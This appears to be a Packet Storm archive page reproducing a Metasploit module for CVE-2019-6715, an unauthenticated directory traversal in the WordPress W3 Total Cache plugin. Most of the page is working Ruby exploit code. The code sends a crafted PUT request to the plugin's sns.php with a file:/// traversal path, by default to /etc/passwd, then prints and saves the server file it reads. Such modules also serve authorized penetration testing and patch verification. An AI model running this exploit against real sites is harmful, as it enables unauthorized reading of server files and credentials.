what you don't know can hurt you

WordPress W3 Total Cache 0.9.3 File Read / Directory Traversal

WordPress W3 Total Cache 0.9.3 File Read / Directory Traversal
Posted Dec 22, 2020
Authored by SunCSR, Hoa Nguyen, VinhJAXT | Site metasploit.com

This Metasploit module exploits an unauthenticated directory traversal vulnerability in WordPress plugin W3 Total Cache version 0.9.2.6 through 0.9.3, allowing arbitrary file read with the web server privileges.

tags | exploit, web, arbitrary
advisories | CVE-2019-6715
MD5 | 7ead4511c9260d6098e2191ece098f61

WordPress W3 Total Cache 0.9.3 File Read / Directory Traversal

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress W3 Total Cache File Read Vulnerability',
'Description' => %q{
This module exploits an unauthenticated directory traversal vulnerability
in WordPress plugin
'W3 Total Cache' version 0.9.2.6-0.9.3, allowing arbitrary file read with
the web server privileges.
},
'References' =>
[
['CVE', '2019-6715'],
['WPVDB', '9248'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2019-6715'],
['URL','https://vinhjaxt.github.io/2019/03/cve-2019-6715'],
],
'Author' =>
[
'VinhJAXT', # Vulnerability discovery
'Hoa Nguyen - SunCSR Team' # Metasploit module
],
'DisclosureDate' => '2014-09-20',
'License' => MSF_LICENSE
)
)

register_options(
[
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
OptInt.new('DEPTH', [true, 'Traversal Depth (to reach the root folder)', 2])
]
)
end

def check
check_plugin_version_from_readme('w3-total-cache', '0.9.4', '0.9.26')
end

def run_host(ip)
traversal = '../' * datastore['DEPTH']
filename = datastore['FILEPATH']
filename = filename[1, filename.length] if filename =~ %r{^/}

json_body = { 'Type' => "SubscriptionConfirmation",
'Message' => '',
'SubscribeURL' => "file:///#{traversal}#{filename}"
}

res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(wordpress_url_plugins, 'w3-total-cache', 'pub','sns.php'),
'ctype' => 'application/json',
'data' => JSON.generate(json_body)
})

fail_with Failure::Unreachable, 'Connection failed' unless res
fail_with Failure::NotVulnerable, 'Connection failed. Nothing was downloaded' unless res.code == 200
fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero?

print_status('Downloading file...')
print_line("\n#{res.body}\n")

fname = datastore['FILEPATH']
path = store_loot(
'w3_total_cache.traversal',
'text/plain',
ip,
res.body,
fname
)
print_good("File saved in: #{path}")
end
end

Login or Register to add favorites

File Archive:

May 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    1 Files
  • 2
    May 2nd
    4 Files
  • 3
    May 3rd
    26 Files
  • 4
    May 4th
    17 Files
  • 5
    May 5th
    3 Files
  • 6
    May 6th
    32 Files
  • 7
    May 7th
    11 Files
  • 8
    May 8th
    2 Files
  • 9
    May 9th
    2 Files
  • 10
    May 10th
    13 Files
  • 11
    May 11th
    17 Files
  • 12
    May 12th
    22 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close